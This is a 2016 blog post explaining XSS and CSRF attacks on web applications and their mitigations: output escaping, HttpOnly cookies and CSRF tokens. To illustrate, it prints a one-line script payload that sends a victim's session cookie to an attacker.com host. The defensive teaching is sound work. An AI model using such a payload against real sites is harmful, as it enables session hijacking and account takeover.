Blog about software development


XSS and CSRF mitigation

06 Mar 2016 - by 'Maurits van der Schee'

This post will explain what XSS and CSRF attacks on web applications are and also what the best practices are to counter them. It will explain the mitigation techniques: Output escaping, "HttpOnly" cookie and CSRF-token.

XSS and CSRF explained

Most web applications that require login use a session cookie that contains the session identifier (and preferably nothing else). This identifier corresponds on the server side with a session object, stored in a central session store. It is used as a proof that you once entered your username/password correct in the session and should therefor be protected carefully. A malicious JavaScript may be executed on your site that "steals" the session cookie and posts it to the attackers website. The attacker will be receiving these session cookies and can start using the application, while being logged in as you. This is called "Cross Site Scripting" or XSS. "Cross Site Request Forgery" on the other hand exploits the behavior of automatically sending the session cookie on every request. It will do something on the logged in web application on your behalf, by cross-posting a form from the attackers website to the web application you are logged in to. In this scenario we protect ourselves against XSS with output escaping and "HttpOnly" cookies and against CSRF with a so-called "CSRF token".

Input and/or output escaping

The HTML that your web application constructs may contain data the user entered. For instance, you may be showing the full name of the user. You need to ensure the user cannot enter "<script>document.location='http://attacker.com/'+document.cookie;</script>" as this will post your session cookie on the attackers website whenever you are are looking at the user's full name. This can be achieved by input and/or output escaping. I feel you should not escape your input, but you should validate and sanitize it. I feel you must escape all output and many frameworks agree and have encapsulated it in there view rendering engines (Razor, Twig, Jinja).

"HttpOnly" cookie

Cookies should always have the "HttpOnly" flag. Setting this flag will disallow JavaScript to read the cookie (from the "document.cookie" variable). This is important on sites where you can log in as the session identifier is stored in a session cookie. The session cookie is a secret that gives the same access as your username/password combination. Session cookies are cookies that are automatically removed when the session is closed. This is normally done when you close the browser (unless the tab is "pinned").

CSRF token

When a form is submitted it should always contain a value that identifies the session that is being used. Since that value is not constant and unique for the session that is being used the attacker is unable to predict this value. Typically the CSRF token is a random value that is created and stored in the session when the session is started. When a form is submitted, the presence of the CSRF token field is checked and only if the submitted value matches the session value the form is processed. This effectively prevents attackers from successfully cross-posting forms.

Best practices implemented

The above security practices are implemented in MindaPHP, a full-stack framework that is: easy to learn, secure by design and light-weight. Note that this blog is running on MindaBlog, blogging software built on MindaPHP.

Further reading

PS: Liked this article? Please share it on Facebook, Twitter or LinkedIn.